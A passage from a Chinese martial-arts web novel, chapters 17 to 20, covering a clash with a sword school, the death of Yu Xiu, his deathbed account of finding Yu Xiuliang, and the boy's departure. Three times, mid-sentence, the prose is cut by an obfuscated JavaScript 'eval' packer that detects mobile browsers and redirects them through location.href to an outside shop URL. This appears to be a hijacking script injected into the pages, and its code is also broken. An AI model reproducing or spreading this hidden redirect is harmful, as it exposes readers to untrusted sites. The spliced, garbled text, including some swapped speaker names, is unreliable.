鲍楚楚见鲍钟没有发狂咬人,内心有一丝丝欣喜,心想:难道爹复原了?但鲍钟也没有认出鲍楚楚,无比疼爱的女儿就在自己面前,他也只是呆呆地看着前方,一点反应也无。 鲍楚楚胆子大了些,又去拉鲍钟布满绛紫色血管的手。木姜和铎占文俱是一惊,正想阻止,忽然树丛响动,从四面八方冒出不少人来,将雨氏爷孙、木姜、鲍楚楚和铎占文围在中间。 17. 终到头来事事休(八) 木姜定睛一看,来人之中,领头的是赵恬,雨馀凉的师父辜俊愿也在,另外还有几个曾在大较时看到的眼熟面孔,这些人都是谷州刀派的门人。 雨馀凉也环视着来客,突然,他双目略微睁大,只见谢岚星赫然也在其间。 原来唐奕才和郑宝卿出城后,赵恬也领着一帮人出城四处巡视,他并没想着要抓回雨氏爷孙,只是唐奕才和郑宝卿都在忙,他也不好让自己显得太清闲。不想走到这片树林来却刚好看到雨氏爷孙在此停歇,夏篁似乎也不在附近,便现身要将雨氏爷孙带回谷州府。 赵恬看着坐在地上的雨休道:“雨休,你和妖人勾结,意图谋害重云门门主和琥沙派掌门两位大人。我现来将你拿下,交由两位大人发落。” 一旁辜俊愿问道:“掌门,那边那个蛊毒傀儡要怎么处置?” 赵恬这才注意到鲍钟也在这里,着实被唬了一跳,赶忙退到旁边一个门人身后,好不容易才稳住了心神。他越过这名门人的肩膀看着鲍钟,道:“把那个活死人的头砍下来,要不就是把四肢切断。” 鲍楚楚闻言,大叫道:“我爹已经没有咬人了啊!你们为什么还要这么处置他?” 赵恬不理她,对门人下令道:“俊愿,你带几个武功高的去处理活死人,其余的人,去把雨氏爷孙擒了!”霎时间便有十数名门人朝雨馀凉和雨休团团围上来。 木姜本来一言不发站在一旁,如今却踏出一步,道:“这两个人,你们不能带走。” 那些门人中有的认出木姜就是昨天下午与唐奕才和郑宝卿一同对付夏篁的人,一时不知该不该上前,于是转头看向赵恬。 赵恬不知木姜底细,看着木姜道:“阁下与唐掌门是一道的?是唐掌门对雨休爷孙的处置有什么吩咐吗?”态度有礼却又提防。 谢岚星道:“赵爷爷,无需多言,您就看我怎么帮您把人拿下。”话音未落,便拔刀上前,直冲雨休而去。 雨馀凉看见谢岚星,便气直往上冲,将雨休买给自己的长刀拔出,当的一声,架住了谢岚星的刀。 谢岚星有些吃惊,道:“哟,你也是真家伙,什么时候有的?” 雨馀凉不答,目光落在谢岚星的刀上,只见那是一把刀刃有白色花纹的钢刀。 谢岚星冷笑一声,施展开招式,二人你来我往地就过起招来。 这一头,木姜回答赵恬的话道:“我不与任何人一道。” 赵恬一顿,道:“那就得罪了。这两个人,尤其是老的,是我们谷州刀派的叛徒,我们是定要带回去的。”他对站在一旁的门人道:“还愣着干什么?上!” 十几名门人一拥而前,木姜刀不出鞘,以带鞘长刀一会击中一名门人的膝盖,那名门人站立不稳,立时倒地;一会打中一名门人的手背,后者手中的刀便掉落在地上。他一招解决一人,如此十三招过后,只剩六个人还未跟木姜交上手,其余十三个人有的倒在地上扭动痛呼,有的刀被击落,将刀捡起来后却不敢再上前。 在木姜身侧,雨馀凉却和谢岚星打得辛苦,手臂、大腿、腰侧,已经被谢岚星划了几道血口子。 这是雨馀凉第一次用真刀和人打,真刀无论是重量还是手感,都和木刀相差甚远,所以一开始并不适应。而且被内力修为不高的人用木刀打一下,最多也就是身上多一条青紫淤痕,但被真刀以同样的力道砍中,无论拿刀的人内力是高是低,有没有内力,都是非死即残。 雨馀凉本来就有一和人打架就紧张得要死的毛病,这一下还是用的真刀,简直紧张到没边了。他越想看清对方的出招,脑中就越是一片空白。偏偏雨馀凉反应速度又慢,一来就落于下风。万幸的是,谢岚星的水平在谷州刀派也只能算是末流,雨馀凉在紧张之余还能将他划至自己皮肤的刀刃挑开,伤口才不至于割得太深,否则就谢岚星划在他腰腹上的血口来看,他早已死了不知多少次了。 雨休在雨馀凉身后看着,又没力气站起来,只能空自着急。他不能像辅助夏篁那样辅助雨馀凉,因为雨馀凉是自身武功根基不行,临场经验几乎没有,内心承受能力也不行,而不是看不懂对方的招式。谢岚星从头到尾一直使的都是谷州刀派的招式,这些招式雨馀凉也是知道的,不需要雨休出言提醒,他多此一举将这些招式的名字说出来,也只会干扰雨馀凉而已。 谢岚星突然道:“啊,我记起来了,那天在沿华街口看到雨老儿手上拿着一把刀,是不是就是这把?娘儿的爷爷给娘儿买刀啦!”谢岚星一边说着,打法突然一变,从攻击雨馀凉的躯干四肢转为猛击雨馀凉的刀。 雨馀凉跟谢岚星相斗时间愈长,紧张之心渐去,逐渐感到得心应手起来。见谢岚星砍向自己的刀,本想举刀招架,却突然想起之前看到的木姜对敌时的打法。 据雨馀凉的观察,木姜几乎从不格挡招架,而是以对方的招式为基础进行拆解,对方怎样出招,他就能顺着对方的招式破拆。不仅化解了对方的攻势,还能顺势反击,反击后又接着主动出招进攻,整个过程行云流水,上一招与下一招浑然一体。雨馀凉看谢岚星这一刀的刀路,突然间福至心灵,觉得自己是有把握将这一刀拆解的,于是变挡格为直进,刀刃贴着谢岚星的刀锋,想带着谢岚星的劲道往旁边送。他要以巧法将谢岚星的刀势卸去,再寻找机会反击。 然而谢岚星力气甚大,雨馀凉这一下没能将他的刀势卸去。眼看再不招格,谢岚星这一刀就要砍中自己的脖颈,雨馀凉无奈,只好竖起刀硬生生挡下了谢岚星这一砍。 雨馀凉听到刀刃发出的一声嗡鸣,随即就看到自己的刀被谢岚星的刀削断一截。 谢岚星没给雨馀凉喘息的机会,接下来的四刀如狂风暴雨般砸来。雨馀凉每当想反击时,谢岚星的下一刀又已至眼前,于是被逼得只能不住格挡。 谢岚星每砍出一刀,雨馀凉的刀都被折断一截,砍到第五刀时,雨馀凉的刀只剩下一两寸的刀刃了,最后被折断下来的刀刃碎片哐当一声落在雨馀凉脚边。 谢岚星哈哈笑道:“这下你的玩具没了。” 原来谢岚星从第一次猛击雨馀凉的刀之前,就怀了要将雨馀凉这把刀折断的心思。但他刚砍断第一截时,只觉得还不够,得要让这把刀永远也修复不起来才好。于是一口气连砍了五刀,将雨馀凉的长刀变作了六截。 谢岚星走上前去,举刀就要往雨馀凉身上砍落。木姜才又连续踢倒三名谷州刀派的门人,注意到这边的情况,立即拔刀出鞘,闪至谢岚星身侧。 谢岚星只觉眼角似有白光一闪,紧接着右臂一阵凉意,忙向旁边跃开。低头一看,自己右边的衣袖已经从肩膀处齐齐撕裂,整条右臂就这样暴露在空气中。 木姜先是目睹谢岚星使用卑鄙手段赢得了大较,后又见他有意折断雨馀凉的刀并嘲笑侮辱雨馀凉,对这个缺乏教养人品低劣心思恶毒的小孩着实厌恶。想对谢岚星怎样,又不好怎样,一来谢岚星也没做什么杀人放火的大恶事;二来谢岚星看上去年纪尚小,武功又比自己低出许多,他若认真将谢岚星揍上一顿,未免有些欺负人。于是便在相救雨馀凉的同时,将谢岚星的袖子割去一截,以示警告和教训。 木姜“呛”的一声将自己的长刀送回鞘中,冷冷道:“滚。再敢上前,断的就是你手臂。”谢岚星用手摸着衣袖断裂处,心里也知道自己方才离断臂只是一厘之差,虽然不服气,但终究害怕,不由自主地退后了几步。这时赵恬的声音从后面传来:“岚星,可以了,过来赵爷爷身边。”谢岚星恨恨地看了木姜一眼,全没想到方才是木姜留情,自己的右臂才得以保全,拿着刀退到了赵恬身侧。 忽然又有一名谷州刀派门人刷的一剑从木姜背后刺来,木姜并不回头,头略微一偏避过这一剑,同时反脚踢去,那名门人被踢得在地上打了两三个滚。 雨馀凉拿着只剩一寸来长刀刃的刀柄,望着断口处呆呆出神。 另一边,鲍楚楚见师父辜俊愿带着一帮门人过来,白晃晃的刀刃映着日光,心中一发狠,抽出刀站在鲍钟身前,道:“不许你们伤我爹!” 辜俊愿厉声道:“鲍楚楚让开,莫要不识大体!” 鲍楚楚哭喊道:“要杀我爹,除非先杀了我!” 辜俊愿大怒,道:“你以为我不敢杀你么!”一刀砍在鲍楚楚刀身上,鲍楚楚登时虎口迸裂,掌心剧痛,手中的刀飞出,直落到丈许之外的地上。辜俊愿伸出左手,要一把将鲍楚楚扯开,手刚要触到鲍楚楚上臂时,突然响起砰的一声,辜俊愿胸口剧震,只见他向后飞出数尺,一屁股重重坐在地上。 鲍楚楚呆住了,眼睛睁得大大的,眼角尤有泪痕。 这一声动静实在有些大,所有人都往辜俊愿那边看去。 在这之前不久,木姜刚好闪身避开一名门人向他砍去的一刀,那名门人扑了个空,然而一开始出刀势道太猛,脚下步子停不下来,木姜在身后以带鞘长刀轻轻一戳他肩胛,他重心不稳,连着向前踉跄数步,最终跌扑在地。就在这时,木姜听到辜俊愿那边的动静,转头望去。 只见鲍钟维持着右掌前伸的姿势。虽然他现在没有动,但铎占文及辜俊愿旁边的数名门人都看得清楚,方才正是鲍钟一掌打在辜俊愿胸口,将其打得坐倒在地。 辜俊愿一手手肘撑地,艰难仰起上半身,一手抚着胸口,痛得龇牙咧嘴,众人看到他一口白牙上已覆上了鲜红的血液。辜俊愿对旁边的门人吼道:“你们几个,快上啊!” 八名门人纷纷持刀上前,八把钢刀从数个方向一齐砍向鲍钟。 只听当当当当一溜儿金属碰撞的声音响 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717292|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 过,一共响了八声,鲍钟身上却没被砍中一刀。原来是铎占文使出精妙刀法,只用了一招,便将那八刀尽数挡下。铎占文到底是连续五年获得谷州刀派大较优胜的人,许多年纪比他大、先比他入门的弟子都及他不上,这一刀的确不错,连木姜都在心里赞叹了一声。 赵恬躲在两名谷州刀派弟子身后,看到铎占文竟也开始对本门弟子拔刀相向,高声叫道:“占文!你竟帮着外人对付同门,你也要反了吗?” 铎占文慌道:“我没……我只是觉得不能不容分说就……就……就……”他想了半天找不到合适的措辞,最终只好小声道:“就这样……” 赵恬正要发作,忽然从某处传来一声惨呼。木姜听见这声惨呼来自身后,立即回头,恍然间看到一片衣角闪了闪,便消失在雨休先前所倚靠的那棵树背面的灌木从后。又见雨馀凉大叫着扑在雨休身前,雨休胸口赫然一个血洞,不断有鲜血从里面冒出。木姜也慌了,赶紧走过去,伸指点了雨休好几处穴道,可作用甚微,血只是暂时流得慢了些,不一会又汩汩涌出。木姜解开雨休身上的绷带,见雨休原先剑伤的创口处又重叠了一道更大的创口,便问雨馀凉怎么回事。 雨馀凉已经慌得前言不搭后语,木姜听了一会,才理清了来龙去脉。原来方才雨馀凉只顾看着前面的情况,却听得背后传来一声利刃刺破血肉的声音,接着便是雨休的一声痛呼,雨馀凉回头,只看见雨休不知何时站了起来并挡在自己身后。 雨馀凉明白过来,方才应该是有人想从背后偷袭他被雨休看到,雨休便替雨馀凉挡下了这一击。那一刀刚好刺在雨休原来包扎好的伤口上,这一下刺得更深,贯穿了前胸后背。 却说雨休刚才那声凄惨的呼声似是刺激了已成为蛊毒傀儡的鲍钟,鲍钟忽然发起狂来,两只手如鹰爪般探出,左右手一手抓起一个谷州刀派门人相互一撞,二人登时脑浆迸裂,双臂下垂,一动不动了。 这一景象大是骇人,其余谷州刀派的门人见了,已是两股战战,鲍钟又大吼一声,向他们扑过去。这些门人包括赵恬连连惊叫,争先恐后地转身逃跑,生怕落在最后被鲍钟一把拖去。辜俊愿受了内伤,起身困难,其他人都走了,没有一个人来管自己,心中又极其怖惧,只好死命撑地站起,顿时感到内脏一阵剧痛,接着喉头涌起一股腥甜。辜俊愿虽然知道强行使力会加重内伤,却也管不了那么多了,忍着想呕吐的感觉将涌至喉咙的东西咽下,还没站直,就手脚并用地向树丛后逃去。 鲍钟还欲追去,鲍楚楚一把扯住鲍钟,大喊道:“爹!楚楚求你,别这样!不要再杀人了,不要再杀人了!”她多少知道此时的鲍钟应该听不懂这些话,也明白自己这样做有性命之危,但在她内心深处,其实隐隐希望自己就这么被鲍钟杀了。 铎占文还站在这,他刚刚也没逃走。他看见鲍楚楚如此,想要将鲍楚楚拉得离鲍钟远些,但又心中惧怕,迟迟不敢上前。 雨馀凉双手按着雨休伤处,想要将血堵住。可那血从他指缝溢出,不一会就将雨休的衣服、雨馀凉的袖摆染红并打湿透了。雨馀凉摸出装着鬼仙续命丹的药瓶,想将里面的鬼仙续命丹给雨休服下。木姜拦住他道:“不可再服了,他的脸色这么紫,是身中剧毒的症状。方才他伤势好转,身体尚能压制住毒性,这回被刺的伤口这样深,大量失血,身体虚弱,身体里累积的毒素才突然发作,若再吞下毒进去,只怕立时便会丧命。” 雨馀凉见木姜阻止他给雨休服下唯一可能救后者性命的药,又是忧虑重重又是心急如焚,大声道:“不给他服药,看着他因伤势极重而送命么?”说着拔出瓶塞一把扔开,颤抖着手将瓶身倾倒过来,一下倒出好几粒药丸,还有一两粒落在了地上,骨碌碌滚落在旁。他将药丸送至雨休唇边时,忽然看见雨休的脸色确实一片绛紫,竟如天边紫霞一般。 雨馀凉的手停在了半空,那粒鬼仙续命丹也停在雨休唇边,并未给他服下去。 雨馀凉脸上眼泪纵横。 又听得那边鲍钟忽然长啸一声,这叫声震天动地,木姜一惊,转过头去,这才看见地上脑壳稀烂的两具尸体,也是心跳加剧,赶紧拔出刀来。 数个变故接连发生,所有人都猝不及防。 鲍钟这一声吼完后,却如同浑身的力量都被抽尽了一般,慢慢地,慢慢地,从鲍楚楚怀中滑下,委顿在地。 只见鲍钟的手慢慢抬起,手掌抬到鲍楚楚头侧,这之后良久,良久都没再有任何动作。 他似乎是真的死了。 木姜仍举着刀,他担心鲍钟还会再一次暴起,但从眼前的一幕来看,这种可能已经很小。 雨休的声音突然从背后传来:“凉儿,你……确实不是我的孙子……” 木姜侧过头,目光落在雨休身上。 18. 终到头来事事休(九) 雨休怔愣道:“……什么?”对于这一事实,他虽然早就隐隐约约知道,但却是此时此刻才听雨休亲口说出,所以讶异之情,仍旧溢于言表。 雨休道:“我就要不行了……凉儿,我现在就把一切……都告诉你……” 雨休问道:“爷爷,方才是谁伤的你?你告诉我!” 雨休摇摇头,雨馀凉不知道他的意思是没看到,还是不想说。 雨休接着道:“那是……十一年前的事了。” “那年我为了寻访藤萦派的武功源流,一路北上,一直来到仲邑江畔。然后……我顺着江边走的时候,就发现了你。” 雨馀凉脑中突地一跳。 “当时我心想,怎么一个小孩湿淋淋地趴在江滩上?怕不是在江中溺死又被冲上岸的?我走过去,又害怕……你是具尸体,不敢伸手触碰你。刚好那时有一个渔夫……划着船过来,看到后问我:‘老伯,这是你家孩子?他怎么了?’我说不是,我也是刚好路过这里,才看到一个小孩趴在这,可能是失足落水的。于是渔夫拿着船桨走上岸,用船桨将你翻了过来。之后我俩发现……你还有气,我便将你抱到了我住的客栈所在的镇上,先带你去看了郎中,也怪,郎中看了说……你只有些皮外伤,没有大碍,开了几副药后也就完了。” “我又将你带回我住的客栈里,想先……把你安顿下来再带你去找你的家人。我带你去江边捡到你的地方附近转了几天,都没有见到有人在找孩子。我看你无家可归,哥哥去世后,我也是孤零零的一个人,便起了收养你之意。” “也是在这时,我发现你似乎……记忆出现了些损伤,我问你家是住在哪里的?爹娘叫什么名字?是怎么到江边的?你一概不知,只说记不起了。” 雨馀凉垂下眼道:“我之后却连爷爷曾问过我这些问题也不记得了。” 雨休道:“所以之后你又问我你的爹娘去哪了,似乎真的把我……当成了你的亲爷爷,我心中便有些纳闷,难道刚醒来时的事你也忘了?可见你脑袋伤得不轻,醒来那会还是恍惚的。但我转念一想,又觉得这样也很好,从此以后我便一直……都跟你说我是与你有血缘之亲的爷爷,即使之后你长大了,开始对自己的身世有所怀疑,我也还是这么说。因为我怕一旦你知道我不是你的爷爷,你就会……会离开了。”雨休突然哭道:“凉儿,爷爷舍不得你,我一直……一直把你当成我的亲……咳咳……咳咳……” 雨馀凉又流下泪来,道:“爷爷,别说了,我晓得,我都晓得的!” 雨休笑道:“有你这句话,爷爷就很高兴……很高兴了……凉儿,我跟你说,你要找寻自己的身世……就往北,往仲邑江走,我是在那捡到你的,你往其他方向没用……就得往那去找……咳咳……去打听打听,那里十一年前,有没有从船只或岸上落水的人,是大人还是小孩……凉儿,你凑近点,接下来的话,只能你一个人听到……” 雨馀凉看见雨休嘴边的鲜血,心中一痛,将耳朵凑了过去,只听见雨休道:“如果没打听到……也就罢了,如果打听到的……是仇杀追杀一类的事……千万慎重,不要轻易显露自己的身份……虽说已经过了十一年,也还是要小心……还有,你身上带着的那把长命锁……是我捡到你时,你就带在身上的,我之前说是你父母给你的,哈哈……也不算是骗你。你身世的线索,很有可能就在这把长命锁上,记住……到了仲邑江附近……千万,千万不要把长命锁轻易在人前显露出来……” 雨休咧开嘴笑道:“我要说的……就这些了……凉儿……去吧,去做你想做的事……” 随着他呼吸间胸口的起伏,胸前血洞里仍不断渗出血液,但已经没有刚才流得那么多了,倒不是因为血被止住,而是没有那么多血可流了,就像快要干涸的河流。 雨休就要死了,木姜想。 见过无数垂死之人,多年在江湖上行走的经验告诉他。 太阳只短暂地出来了一会,此刻乌云又聚拢来,雨点淅淅沥沥地落下。 雨休眼神已经有些发直,仍絮絮地说着:“那时……你什么都不记得,却还记得自己的年龄,我问你……多少岁了,你说六岁了。” “我将你……当作自己的亲孙子,就要给你起个……雨姓的名字,我想啊想……怎么也想不出合适的……我到仲邑江附近,水土不服,那个时候……哎哟,拉了好几天肚子……结果突然看到郎中开的药方上……有一味药,叫做‘禹余粮’,刚好那段时间都在下雨,已经下了……半个月了,凉风从窗户吹进屋来,将衣衫……吹得贴在身上,我灵光一闪,就决定给你起大名‘雨馀凉’了……” “你看……我这个人,窝囊了一辈子,连恶人……也做得这么窝囊。” “我想死,但又怕死,便一直赖活苟活到现在,这不是……这不是窝囊废是什么?” “当年……哥哥支持我来到谷州刀派,我却……却不愿支持你去找寻自己的身世……凉儿,原谅我……原谅我吧……” “剩下的路,爷爷不能陪你走了,你以后自己一个人在一边,要好好照顾自己,知道不?” “爷爷……我不走了……我不走了!我就在这,我陪着你,我不走了……”雨馀凉撕心裂肺地哭。 “我是……为整理这些武功流派和招式……而生的……”说完这句话后,雨休闭上了眼,胸口也不再起伏。 他之后再也没说话了。 另一边,鲍楚楚跪坐在地上,怔怔地看着躺在自己面前的鲍钟。 只见一团黑色的东西蠕动着从鲍钟身体里爬了出来。 鲍楚楚又想起夏篁的之前在谷州刀派说的话:“一旦蛊虫把他们体内的脏器啃噬殆尽,就会破皮而出。” 她心中一痛,继而狂怒,举起刀向那团虫子砍去,砍了一下后,很快又是一下,手起刀落,就这样一刀刀砍着,整片树林回荡着雨声,以及刀刃与地面相击的声音。 铎占文站在鲍楚楚身后,在一下下刀刃地面撞击声的间隙,似乎听到一丝吸鼻子的声音,但雨声嘈嘈,听得并不真切。 他不确定她是不是哭了。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717293|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ------------------------------ 雨馀凉要将雨休葬下。 木姜说道:“不能葬在这,也不能葬在谷州府或附近。”以谷州府那群人对雨休的恨意,很可能会挖其坟掘其尸。 二人最终选定了山林中一处隐蔽幽静的地方,雨馀凉将雨休送给自己的那把刀的碎片一片片捡起,随雨休一同埋了进去。 一切停当后,雨馀凉看着雨休的坟出了会神,忍不住又哭了出来。 木姜道:“人生就是一次又一次的离别,你以后会习惯的。” 雨馀凉转过头,看到木姜的眼睛隐在斗笠的阴影下,眼神晦暗难明。 雨馀凉沉默一阵,重复这句话:“人生就是一次又一次的离别。可在这个世上唯一的亲人已经不在了,我以后还能和谁离别呢?” 木姜道:“……这是你的幸运之处。” 雨馀凉哈哈一笑,笑声中充满了凄凉与自嘲,以手覆面道:“也是。” 雨馀凉看着眼前这个疤脸汉子,想:如果自己也有他这么一身武功,那么之后孤身在江湖闯荡又有什么好怕? 他突然血气上涌,砰的一声在木姜面前跪下。此时雨势不小,他这一跪,溅起一地水花。雨馀凉顾不得地上泥泞,重重磕头道:“木先生!恳求木先生收雨馀凉为徒!” 雨馀凉未等他回答,就砰砰砰又连磕了好几个响头,道:“弟子雨馀凉,今日拜木先生为师,师父在上,弟子从今往后一切听师父的安排,不敢有半点违逆,师父让往东,弟子绝不往西!从今往后,弟子定跟师父潜心学武,任劳任怨,无怨无悔,一日为师,终身为父,任劳任怨,无怨无悔……!” 雨馀凉迫切地想让木姜答应收他为徒,加之心绪激荡,说话不免有些颠三倒四,很多话没有多想,一股脑儿就说了出来。 木姜看着这一幕,眼前却突然浮现出了另一幅画面。很久以前,也曾有那么一天,一个小小女童跪在另一个人面前,恭敬地磕头,嘴里念念有词道:“师父在上,弟子姬花青今日拜穆禾前辈为师,往后定对师父百般敬重,决不背弃师父……”袅袅白烟从一旁的香炉里冒出,燃尽的香灰“扑哒”一声落下。 他久久没有说话,思绪似乎飘了很远很远,远到就像是上辈子一般。 突然,木姜回过神来,低头看着跪在自己面前的雨馀凉道:“别人为什么收你为徒?收你为徒能给别人带来什么好处?连你在谷州刀派学艺,每年都还要给门派交银子。师徒师徒,不过也是一场交易罢了。”说到最后一句时,他声音有些轻飘飘的。 木姜转过身:“地上湿,快起来吧,你不必拜我,我也不受你这一拜。”说完这句,他又顿了顿,才道:“江湖险恶往往超出人们的想象,不要头脑一热就陷自己于凶险之境。此间事已了,你我以后不会再见,就此别过。”话毕飞身纵起,脚踏树木枝干而去,几个起落过后,雨馀凉便看不见他的背影了。 雨馀凉颓然坐倒在地。 雨水落在地面,兀自哗啦作响。 19. 终到头来事事休(十) 雨馀凉左看右看,见四周无人,从墙角夹缝快速钻进了屋子。 请求木姜收自己为徒被拒绝后,雨馀凉在雨休坟前坐了一下午,直坐到天色向晚。这时雨也下小了,雨馀凉想了想,还是决定回一趟雨休和他曾经居住的屋子。 他到附近的农舍偷拿了块布将自己的头脸包住,来到谷州府城门时,城门的禁制已经解除,雨馀凉遂混在人群中进了城。他进城后又尽量挑偏僻小路走,终于在没人察觉的情况下回到了家中。 雨馀凉总算又回到了这个自己居住了十一年的地方。 明明他和雨休只是离开了将将一天一夜而已,此时再次回到这里,却有一种恍如隔世的感觉。 离开的时候是他和雨休一起,回来时却只有自己一个人。 屋内一片混乱,比他和雨休走之前乱得多。架子倒在地上,架子下压着白花花的一片,应该都是纸张,是雨休亲笔写下的武学理论。所有柜门、抽屉都被打开了,里面的东西都被扔了出来。如此情景,说是刚被强人打劫过也不为过。 除此之外,堂屋饭桌上还放着一页纸,雨馀凉拿起来一看,纸上是雨休记录下的门派招式,并绘以简易图画。 自己和雨休走后,有人来他们的屋子翻找过。 雨休嗤笑一声,不知来他们屋内翻找的是谷州刀派的人,还是临蓟那边的人? 雨馀凉来到雨休的卧房,发现雨休书桌最上面一层带锁的抽屉也被拉开了。他走过去,看见被撬开的锁就放在桌上,抽屉里被翻得很乱,但里面的东西却没被带走,看上去好像是一叠信纸。 雨馀凉从小就好奇雨休这个抽屉里装的是什么,但在他印象里雨休从未打开过这个抽屉。他有时甚至猜想,这个抽屉里放着的是不是跟他父母有关的事物? 雨馀凉将抽屉里的纸张尽数拿出。此时光线昏暗,雨馀凉着实看不清上面的字迹,他又不敢贸然点灯,怕别人从屋外看见了。于是拿过这一沓纸,又找出蜡烛来到后院里存放杂物的一间无窗的小屋中,将门关了,点上蜡烛,将这些纸张打开来看。 这些纸张的确是书信,并且在每一封信上,雨休都称对面那人“兄长”。 雨馀凉心头一震,想起白天雨休说他曾有个哥哥,遂将这些信一封封展开细读。 原来雨休进入谷州刀派后,他哥哥仍旧回到谷神镇居住,二人之间便常以书信往来。 雨馀凉看到雨休的字迹,鼻子一酸,又忍不住落下泪来。一不留神,泪水落在信纸上,雨馀凉赶紧用衣袖去拂拭。 他逐字逐句读起兄弟二人的家书。 从这些书信中,雨馀凉看到,雨休当年受尽冷眼欺凌,他一边极度气恼苦闷神伤,却又一边享受着研究各门各派武功的喜悦。 这些不断产生的、新的心得体会,他都会告诉哥哥,仅仅是从这些文字中,雨馀凉都能感受到当年雨休是多么雀跃,多么单纯地为这些发现而高兴,那个时候的他,会不会觉得平日所受的委屈都不重要了?而雨休的哥哥对弟弟的这些发现也显得十分高兴,尽管两人生活拮据,他也总是作为雨休最忠实的聆听者而存在。 雨馀凉翻阅那些信件,看着看着,眼前便再次模糊成一片,没过多时,泪水终于溢了出来,一滴滴落在那些已经发黄变脆的纸张上,擦也擦不尽。 蜡烛熄了。 雨馀凉在黑暗中无声地痛哭起来。 ------------------------------ 雨馀凉推开杂物间的门。 雨已经完全停了。 不算上午太阳短暂地出来那会,这雨已经下了一日一夜,为冬末春初干燥的空气平添了几分湿寒。雨馀凉深吸一口气,沁凉直入肺腑。 许是因为一天一夜都没睡觉的缘故,此刻寒凉的夜风拂在面上,雨馀凉竟有些恍惚,觉得世界那么陌生,又离自己那么遥远。 荣华富贵,功名利禄,生不带来,死不带走。随着一个人的死去,连恨也终究烟消云散。但人与人之间的感情是那样特别,它由生命短暂、来去匆匆的人产生,然而只要它存在过,就算人已 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13717294|144790||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 离去,却还是那么刻骨铭心,让人不愿遗忘。 雨馀凉之前理直气壮地说着自己宁愿清醒而痛苦地活着这种话,现在才意识到这有多难。 可再难又如何呢,事到如今,他也没什么好怕的了。 雨休死前说,他是为梳理武功流派和招式而生,那么自己呢,自己活着又是为了什么? 他要去寻找自己的身世,他要知道自己的爹娘是谁。就算前路艰险,他一身低微的武功有相当于无,他也要去。 诚然,他也是想逃离。逃离这些人,逃离雨休死去的这个地方。 雨馀凉回到屋中,将雨休写下的理论从架子下、桌子下等其他地方收拣出来,将它们摞成一沓,先放在堂屋里的木桌上,又再从屋里拿了些东西塞进昨天收拾好的行李里。 雨馀凉来到自己的房间,他的房间也同样被翻了个底朝天。雨馀凉找到了靠在门背后的木刀,带在了身上。 雨休送他的那把刀被谢岚星折断了,他也没钱再买一把,如今他有的,就只有这把木刀了。不过虽然是木刀,多少也能防一下身,总比空手的好。 收拾得差不多了,雨馀凉抱起桌上那一沓纸,先找了个箱子装了,随后来到后院中在地上挖了个坑,将箱子埋了进去。 随后他背上行礼和木刀,先走到门边往外张望了一番,外面还是漆黑一片。确认无人后,快速跑了出去。 整条巷中极静,家家户户都在睡觉。来到北城门附近,雨馀凉躲在两座屋子的墙缝之间,静静地等待。 谷州府每日寅时六刻便会开城门。 眼下尚处春寒料峭时节,何况又是才下过雨的晚上,雨馀凉受了一个多时辰的冻,终于等到城门打开。他照样用布蒙着头脸出了城门,一出城,只见整个世界都像是笼了一层水雾,远处的树叶变得模模糊糊,与罩了一层极轻极薄的白纱无甚分别。黑黢黢的重重树影后透出的天光泛着黄色,恍然一看,竟不像是黑夜。 他沿大路走着,走了很久以后,才回过头远远地看了一眼谷州府的城墙。 20. 拜师(一) 随着雨休的死,夏篁和重云、琥沙两派掌门的离开,谷州府城的腥风血雨落下了帷幕,只余一地狼藉。 谷州府数里外一座山半山腰上的凉亭中,山鬼验过了信筒上的封条,打开竹筒倒出书信,展开细读。 河伯问道:“上面写的什么?” 山鬼放下信道:“眼下水西是回不成了,少主让我们留在水南,有另外的任务要交给我们。” 河伯吁了口气,道:“唉,少主也是,一点都不体谅我这个刚从大牢里出来的人,一来就安排任务。我们当牛做马,就为了替他和他那死了的爹实现野心。” 山鬼瞪了他一眼,厉声道:“说什么呢,老主人心怀整个武林,少主继承遗志。我们做下属的,应当毫无怨言尽心辅佐才是,你说这话是什么意思?” 河伯双手抱在脑后,有气无力道:“我错了,错了还不行吗?姑奶奶,九歌里面,你得是最忠心了的吧。”这话本来说到这就可以了,但河伯生来嘴贱,还是忍不住把下面这句话说了出来:“可又有什么用呢,你的俸禄还不是没东君云中君拿得多……” 他话还没说完,山鬼就一钢刺朝他脸上刺了过去,河伯眼疾手快,举起未出鞘的剑,握着剑身架住。 河伯一边架着山鬼的三棱钢刺,一边道:“哟,小鬼几年不见,武功长了,脾气也长了不少。” 山鬼直直盯着着河伯道:“我对聊氏的心不是用俸禄可以衡量的,你这样说,是在侮辱我。” 河伯叹了口气,道:“知道了知道了,先把家伙放下行不?说点别的,比如少主在信中还说了什么?让我们留在水南,具体要干些什么?” 